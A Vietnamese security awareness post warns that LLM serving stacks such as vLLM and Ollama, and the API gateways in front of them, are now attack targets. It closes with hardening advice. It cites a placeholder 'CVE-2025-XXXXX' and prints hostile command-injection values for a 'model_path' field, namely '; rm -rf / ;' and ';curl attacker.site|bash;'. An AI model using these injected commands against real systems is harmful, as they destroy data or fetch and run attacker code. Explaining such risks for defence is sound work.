🧨 “CVE-2025-XXXXX cho phép chạy mã độc từ input vào LLM – AI giờ là mục tiêu thật sự”

[dangquangminh]

🧨 “CVE-2025-XXXXX cho phép chạy mã độc từ input vào LLM – AI giờ là mục tiêu thật sự”


🔒 AI không còn “miễn nhiễm” – các server AI model như vLLM, Ollama, hay API gateway như FastAPI, Flask, Kong... đã chính thức lọt vào tầm ngắm của giới tấn công mạng.
Từ cuối 2024 đến nay, các báo cáo Threat Intelligence bắt đầu xuất hiện các CVE khai thác trực tiếp vào hạ tầng LLM serving và pipeline API – đánh dấu một kỷ nguyên mới: Khai thác AI như khai thác WebApp.

---

🎯 Những gì đang diễn ra?

🔹 1. LLM Input Injection biến thành Remote Code Execution (RCE)


Một số lỗ hổng mới được ghi nhận cho phép kẻ tấn công đưa payload độc hại vào prompt input, và thông qua giao tiếp không được lọc kỹ giữa LLM và hệ thống xử lý, dẫn đến thực thi mã độc trên backend.

Ví dụ:

• CVE-2025-XXXXX: ảnh hưởng tới vLLM – nếu prompt được sử dụng để gọi file/tokenizer/model mà không lọc kỹ, attacker có thể tiêm nội dung shell command vào field "model_path" và gây ra thực thi lệnh.
• Payload như "; rm -rf / ;" khi được đóng gói trong JSON và truyền qua REST API có thể được thực thi nếu hệ thống không kiểm tra input đầu vào.

---

🔹 2. API Gateway & Serving Layer bị "quét"


Các attacker bắt đầu dò tìm:

• FastAPI docs chưa tắt (/docs, /redoc)
• OpenAPI specs để xác định các endpoint của inference API.
• Flask debug mode, Kong misconfiguration, hoặc reverse proxy header injection.

Kịch bản tấn công:

🛠️ Một attacker gửi input dài bất thường hoặc crafted JSON tới endpoint /generate, ép hệ thống log, xử lý hoặc route sai – dẫn tới crash, DoS hoặc chiếm quyền điều khiển model server.

---

🔍 Vì sao xu hướng này đang nổi lên?

• LLM model servers giờ là phần mềm giống như web backend – và sẽ mắc các lỗi tương tự: từ buffer overflow, injection, đến SSRF.
• AI càng “mở” để phục vụ inference tốc độ cao (OpenLLM, vLLM, TextGen WebUI, Ollama...) thì càng dễ bị tấn công.
• Nhiều hệ thống không có security sandbox, không lọc log hoặc không giới hạn input => mở đường cho RCE hoặc prompt injection chain.

---

🛡️ Chúng ta cần làm gì?

✔️ 1. Xem AI model server như App Web

• Triển khai tường lửa API (API Gateway có WAF).
• Không expose trực tiếp /generate, /chat, /model_info ra internet.
• Giới hạn kích thước và định dạng input/prompt.

✔️ 2. Harden server LLM serving

• Tắt các chức năng eval(), os.system() trong code liên kết với model (nếu có).
• Dùng container hạn quyền (Docker rootless, Firecracker, gVisor...).
• Áp dụng "Prompt Security Filter" ở tầng pre-processing.

✔️ 3. Theo dõi CVE & threat intel liên tục

• Subscribe các nguồn như:
  • Hugging Face CVE feed
  • [OpenAI Security Advisory]
  • MITRE CVE feeds for AI-related CVEs

---

🎓 Ví dụ minh họa

Một công ty fintech tích hợp API nội bộ gọi LLM để sinh nội dung hợp đồng từ dữ liệu khách hàng. Một attacker nội bộ đưa payload JSON chứa đoạn "model_path": ";curl attacker.site|bash;". Do ứng dụng không escape input, đoạn script được thực thi trên server inference chạy Flask + vLLM.

---

📌 Kết luận


🔐 AI không còn là “vùng đất an toàn”.
Nó đang trở thành mục tiêu tấn công giống như bất kỳ hệ thống web, API hay IoT nào khác. Khi AI được “product hoá” – thì kẻ tấn công cũng “automation hoá” việc khai thác AI.

👉 Bạn đang dùng LLM nội bộ? Hãy kiểm tra ngay:

• Model serving có sandbox không?
• Có giới hạn input/prompt?
• API Gateway đã chặn exploit basic chưa?
• Đã có log anomaly detection với prompt chưa?

---

🎯 Bình luận hoặc chia sẻ nếu bạn đã từng triển khai LLM serving!
Bạn dùng gì? vLLM? Ollama? Flask + HuggingFace?
Cùng nhau build AI an toàn hơn!

#AI cybersecurity #ThreatIntel #LLM #PromptInjection #APIhacking #vLLM #FastAPI #MạngAI #BảoMậtAI

---